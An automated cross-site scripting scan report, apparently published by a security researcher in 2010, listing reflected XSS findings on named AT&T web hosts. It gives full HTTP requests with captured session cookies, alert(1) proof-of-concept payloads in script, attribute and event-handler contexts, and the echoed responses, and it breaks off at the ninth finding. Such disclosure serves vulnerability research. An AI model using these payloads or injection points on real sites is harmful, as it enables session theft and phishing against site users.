Report generated by XSS.CX at Mon Nov 22 19:40:57 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]

1.2. http://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]

1.3. https://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]

1.4. https://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]

1.5. https://www.att.com/olam/dashboardAction.olamexecute [REST URL parameter 2]

1.6. https://www.att.com/olam/forgotPasswordAction.olamexecute [REST URL parameter 2]

1.7. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM parameter]

1.8. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [name of an arbitrarily supplied request parameter]

1.9. http://www.att.com/storelocator/index.jsp [B2CSESSIONID cookie]

1.10. http://www.wireless.att.com/cell-phone-service/cell-phone-details/ [B2CSESSIONID cookie]

1.11. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [B2CSESSIONID cookie]

1.12. http://www.wireless.att.com/cell-phone-service/compare-cell-phones/ [B2CSESSIONID cookie]

1.13. http://www.wireless.att.com/cell-phone-service/get-started/index.jsp [B2CSESSIONID cookie]

1.14. http://www.wireless.att.com/cell-phone-service/packages/packages-details.jsp [B2CSESSIONID cookie]

1.15. http://www.wireless.att.com/cell-phone-service/packages/refurbished-packages.jsp [B2CSESSIONID cookie]

1.16. http://www.wireless.att.com/cell-phone-service/welcome/ [B2CSESSIONID cookie]



1. Cross-site scripting (reflected)
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There are 16 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://localization.att.com
Path:   /loc/controller

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70113"><script>alert(1)</script>9d141c2d210 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /loc/controller?70113"><script>alert(1)</script>9d141c2d210=1 HTTP/1.1
Host: localization.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; svariants=NA; TLTHID=42CC0E3AF69910F62C39CB6336662E8F; JSID_localize=00006Bri1OU9Kpviiuj6GLXcsEz:13cr8g98s; ucvCookie=803; cust_type=new; BCNSESS=run=false; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; bn_search=true; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Date: Tue, 23 Nov 2010 00:39:12 GMT
Server: IBM_HTTP_Server
Content-Length: 15076
P3P: policyref="http://localization-ffdc.it.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAaPSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

<!-- GTM Common Localization Tool String -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en">
...[SNIP]...
<form action="/loc/controller?70113"><script>alert(1)</script>9d141c2d210=1" name="formA" id="formA" method="post" onsubmit="return submitFormA(this);" style="background:white; width:370px; padding:0">
...[SNIP]...

1.2. http://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://localization.att.com
Path:   /loc/controller

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a501f"%3balert(1)//e3c287d3660 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a501f";alert(1)//e3c287d3660 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /loc/controller?a501f"%3balert(1)//e3c287d3660=1 HTTP/1.1
Host: localization.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; svariants=NA; TLTHID=42CC0E3AF69910F62C39CB6336662E8F; JSID_localize=00006Bri1OU9Kpviiuj6GLXcsEz:13cr8g98s; ucvCookie=803; cust_type=new; BCNSESS=run=false; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; bn_search=true; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Date: Tue, 23 Nov 2010 00:39:12 GMT
Server: IBM_HTTP_Server
Content-Length: 15046
P3P: policyref="http://localization-ffdc.it.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAaPSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

<!-- GTM Common Localization Tool String -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en">
...[SNIP]...
<form style=\"background-color: white; width:370px; padding:10px 0pt 24px;\" action=\"/loc/controller?a501f";alert(1)//e3c287d3660=1\" name=\"formA\" id=\"formA\" method=\"post\" onSubmit=\"javascript:return submitFormA(this);\">
...[SNIP]...

1.3. https://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://localization.att.com
Path:   /loc/controller

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a6c58"%3balert(1)//40237c2f9cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a6c58";alert(1)//40237c2f9cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /loc/controller?a6c58"%3balert(1)//40237c2f9cb=1 HTTP/1.1
Host: localization.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; svariants=NA; TLTHID=42CC0E3AF69910F62C39CB6336662E8F; JSID_localize=00006Bri1OU9Kpviiuj6GLXcsEz:13cr8g98s; ucvCookie=803; cust_type=new; BCNSESS=run=false; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; bn_search=true; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Date: Tue, 23 Nov 2010 00:39:20 GMT
Server: IBM_HTTP_Server
Content-Length: 15046
P3P: policyref="https://localization-ffdc.it.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAaPSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

<!-- GTM Common Localization Tool String -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en">
...[SNIP]...
<form style=\"background-color: white; width:370px; padding:10px 0pt 24px;\" action=\"/loc/controller?a6c58";alert(1)//40237c2f9cb=1\" name=\"formA\" id=\"formA\" method=\"post\" onSubmit=\"javascript:return submitFormA(this);\">
...[SNIP]...

1.4. https://localization.att.com/loc/controller [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://localization.att.com
Path:   /loc/controller

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1a68"><script>alert(1)</script>491faaa2bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /loc/controller?c1a68"><script>alert(1)</script>491faaa2bc=1 HTTP/1.1
Host: localization.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; svariants=NA; TLTHID=42CC0E3AF69910F62C39CB6336662E8F; JSID_localize=00006Bri1OU9Kpviiuj6GLXcsEz:13cr8g98s; ucvCookie=803; cust_type=new; BCNSESS=run=false; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; bn_search=true; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Date: Tue, 23 Nov 2010 00:39:19 GMT
Server: IBM_HTTP_Server
Content-Length: 15074
P3P: policyref="https://localization-ffdc.it.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAaPSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV"
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US

<!-- GTM Common Localization Tool String -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" lang="en">
...[SNIP]...
<form action="/loc/controller?c1a68"><script>alert(1)</script>491faaa2bc=1" name="formA" id="formA" method="post" onsubmit="return submitFormA(this);" style="background:white; width:370px; padding:0">
...[SNIP]...

1.5. https://www.att.com/olam/dashboardAction.olamexecute [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.att.com
Path:   /olam/dashboardAction.olamexecute

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e8b6"><img%20src%3da%20onerror%3dalert(1)>ff122687988 was submitted in the REST URL parameter 2. This input was echoed as 3e8b6"><img src=a onerror=alert(1)>ff122687988 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /olam/dashboardAction.olamexecute3e8b6"><img%20src%3da%20onerror%3dalert(1)>ff122687988 HTTP/1.1
Host: www.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; BIGipServerpESUP_APP_7010=971100551.25115.0000; DTAB=Tab=Res; fsr.a=1290472265913; TLTHID=4C895F86F69910F631F6D5B66743ED65; ucvCookie=803; ESUPPORTSESSIONID=vlT3MrLLyhhXLd!-2076738270; DYN_USER_CONFIRM=4bc28851c0146d2ee032975168708311; BCNSESS=run=false; BIGipServerpATTWL_7010_7011=3772895623.25371.0000; __utma=52846072.1307757086.1290472285.1290472285.1290472285.1; 49ff2bfd-1827-4488-8f34-2a8b9ffd5fd3=%7B%22parent_id%22%3A%22%22%2C%22referrer%22%3A%22http%3A%2F%2Fattuverseoffers.com%2Ftv_hsi_bundles%2Findex.html%3F1%26source%3DECbc0000000WIP00O%26GUID%3DF83D66D2-BD03-468E-BCF6-F9C5779AA949%22%2C%22id%22%3A%22Mm2rWQb3GBW%22%2C%22wom%22%3Afalse%2C%22entry_point%22%3A%22http%3A%2F%2Fwww.att.com%2Fu-verse%2Favailability%2F%22%2C%22url_tag%22%3A%22NOMTAG%22%7D; __utmc=52846072; __utmb=52846072.2.10.1290472285; bn_search=true; svariants=NA; __utmz=52846072.1290472285.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DL3K=3CKOMPUrr0zvgDDsdI205jtt73r03FYoHxBnZ5X7Nyo7rw1J-q0RSrQ; B2CSESSIONID=T4NRMrLCPMwc3J!86942824; cust_type=new; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; DYN_USER_ID=3295596214; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 404 Not Found
Server: Sun-ONE-Web-Server/6.1
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache="set-cookie"
Date: Tue, 23 Nov 2010 00:38:26 GMT
Content-Length: 9098
Connection: close
Set-Cookie: TLTHID=FC3595EEF69910F6A0A4B6B10FFD99EE; path=/; domain=.att.com
Set-Cookie: EDOCSSESSIONID=dw7mMrNCDX2WSQgkn04SyncSqRSDhM6sgwfgkYz18ynn3j2yDy8D!134011089; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


<head>
   <title
...[SNIP]...
<meta name="DCSext.failedurl" content="https://www.att.com:443/olam/dashboardAction.olamexecute3e8b6"><img src=a onerror=alert(1)>ff122687988">
...[SNIP]...

1.6. https://www.att.com/olam/forgotPasswordAction.olamexecute [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.att.com
Path:   /olam/forgotPasswordAction.olamexecute

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c50b3"><img%20src%3da%20onerror%3dalert(1)>22adbff309c was submitted in the REST URL parameter 2. This input was echoed as c50b3"><img src=a onerror=alert(1)>22adbff309c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /olam/forgotPasswordAction.olamexecutec50b3"><img%20src%3da%20onerror%3dalert(1)>22adbff309c HTTP/1.1
Host: www.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; BIGipServerpESUP_APP_7010=971100551.25115.0000; DTAB=Tab=Res; fsr.a=1290472265913; TLTHID=4C895F86F69910F631F6D5B66743ED65; ucvCookie=803; ESUPPORTSESSIONID=vlT3MrLLyhhXLd!-2076738270; DYN_USER_CONFIRM=4bc28851c0146d2ee032975168708311; BCNSESS=run=false; BIGipServerpATTWL_7010_7011=3772895623.25371.0000; __utma=52846072.1307757086.1290472285.1290472285.1290472285.1; 49ff2bfd-1827-4488-8f34-2a8b9ffd5fd3=%7B%22parent_id%22%3A%22%22%2C%22referrer%22%3A%22http%3A%2F%2Fattuverseoffers.com%2Ftv_hsi_bundles%2Findex.html%3F1%26source%3DECbc0000000WIP00O%26GUID%3DF83D66D2-BD03-468E-BCF6-F9C5779AA949%22%2C%22id%22%3A%22Mm2rWQb3GBW%22%2C%22wom%22%3Afalse%2C%22entry_point%22%3A%22http%3A%2F%2Fwww.att.com%2Fu-verse%2Favailability%2F%22%2C%22url_tag%22%3A%22NOMTAG%22%7D; __utmc=52846072; __utmb=52846072.2.10.1290472285; bn_search=true; svariants=NA; __utmz=52846072.1290472285.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DL3K=3CKOMPUrr0zvgDDsdI205jtt73r03FYoHxBnZ5X7Nyo7rw1J-q0RSrQ; B2CSESSIONID=T4NRMrLCPMwc3J!86942824; cust_type=new; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; DYN_USER_ID=3295596214; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 404 Not Found
Server: Sun-ONE-Web-Server/6.1
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache="set-cookie"
Date: Tue, 23 Nov 2010 00:38:11 GMT
Content-Length: 9103
Connection: close
Set-Cookie: TLTHID=F3323A1AF69910F6A02DB6B10FFD99EE; path=/; domain=.att.com
Set-Cookie: EDOCSSESSIONID=B2q1MrMTCrLd9yhlJ9mCTyGpvKv8VbNyy87y6JmnrwpVH8Gxhyx5!134011089; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">


<head>
   <title
...[SNIP]...
<meta name="DCSext.failedurl" content="https://www.att.com:443/olam/forgotPasswordAction.olamexecutec50b3"><img src=a onerror=alert(1)>22adbff309c">
...[SNIP]...

1.7. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/cell-phones/cell-phones.jsp

Issue detail

The value of the 53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb953"><a>90f12b2549c was submitted in the 53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cell-phone-service/cell-phones/cell-phones.jsp?53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM=1eb953"><a>90f12b2549c HTTP/1.1
Host: www.wireless.att.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cust_type=new; browserid=A001224476413; svariants=NA; bn_u=6923296826286492033; ECOM_GTM=owaln_NA_oesaln; ucvCookie=803; DTAB=Tab=Res; __utmz=52846072.1290472285.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=52846072.1307757086.1290472285.1290472285.1290472285.1; __utmb=52846072.2.10.1290472285; M8W3=3WsVQSeFhYFSbsHoVu0MoJP2Nn5Qy4Cvba-4idmEV4aYR7en77hDmrw; bn_search=true

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:55:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:55:23 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=5927365CF69C10F60596D9F68C4E4769; Path=/; Domain=.att.com
Set-Cookie: TLTSID=5927365CF69C10F60596D9F68C4E4769; Path=/; Domain=.att.com
Set-Cookie: TLTUID=5927365CF69C10F60596D9F68C4E4769; Path=/; Domain=.att.com; Expires=Tue, 23-11-2020 00:55:21 GMT
Set-Cookie: B2CSESSIONID=R2mDMrQZK5pNv5!1225871536; path=/
Set-Cookie: DYN_USER_ID=3295612205; path=/
Set-Cookie: DYN_USER_CONFIRM=09cde6314d98e252bb1fc1ca57bf318b; path=/
Set-Cookie: ECOM_GTM=owaln_osaln_oesaln; domain=.att.com; expires=Wednesday, 23-Nov-2011 00:55:21 GMT; path=/
Set-Cookie: BIGipServerpWL_7010_7011=736219527.25371.0000; path=/
Content-Length: 716960


                                                                                                                               
...[SNIP]...
<a href="/cell-phone-service/cell-phones/cell-phones.jsp?53465%22%3E%3Ca%3EHOYT.LLC.XSS.PoC.11.21.2010.WWW.WIRELESS.ATT.COM=1eb953"><a>90f12b2549c" class="zipCode sku4220265 sku4220265"                
                       onclick="ATT.ColorSwatch.zipCodeBSkuClick({obj : this, fake : null, type : 2, newArrival : false, defaultSku : 'sku4220265'}); return false;" >
...[SNIP]...

1.8. http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/cell-phones/cell-phones.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53465"><a>3e831f0dec2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /cell-phone-service/cell-phones/cell-phones.jsp?53465"><a>3e831f0dec2=1 HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_NA_oesaln; svariants=NA; __utmz=52846072.1290472285.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DTAB=Tab=Res; TLTHID=4C895F86F69910F631F6D5B66743ED65; ucvCookie=803; cust_type=new; BCNSESS=run=false; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296826286492033; TLTUID=AE753DDCF6CB10F651B5FF5A9E5E5A53; __utma=52846072.1307757086.1290472285.1290472285.1290472285.1; M8W3=3WsVQSeFhYFSbsHoVu0MoJP2Nn5Qy4Cvba-4idmEV4aYR7en77hDmrw; __utmc=52846072; __utmb=52846072.2.10.1290472285; bn_search=true; TLTSID=AE753DDCF6CB10F651B5FF5A9E5E5A53;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:37:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:37:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=DE5E4C14F69910F6F7B3E2F1EDAD05F3; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=j1vGMrMQ5c63nv!-1920743851; path=/
Set-Cookie: DYN_USER_ID=3294527186; path=/
Set-Cookie: DYN_USER_CONFIRM=871f47d73628911924126a153bdb29ed; path=/
Set-Cookie: ECOM_GTM=owaln_osaln_oesaln; domain=.att.com; expires=Wednesday, 23-Nov-2011 00:37:36 GMT; path=/
Set-Cookie: BIGipServerpWL_7010_7011=3353465223.25115.0000; path=/
Content-Length: 716495


                                                                                                                               
...[SNIP]...
<a href="/cell-phone-service/cell-phones/cell-phones.jsp?53465"><a>3e831f0dec2=1" class="zipCode sku4220265 sku4220265"                
                       onclick="ATT.ColorSwatch.zipCodeBSkuClick({obj : this, fake : null, type : 2, newArrival : false, defaultSku : 'sku4220265'}); return false;" >
...[SNIP]...

1.9. http://www.att.com/storelocator/index.jsp [B2CSESSIONID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.att.com
Path:   /storelocator/index.jsp

Issue detail

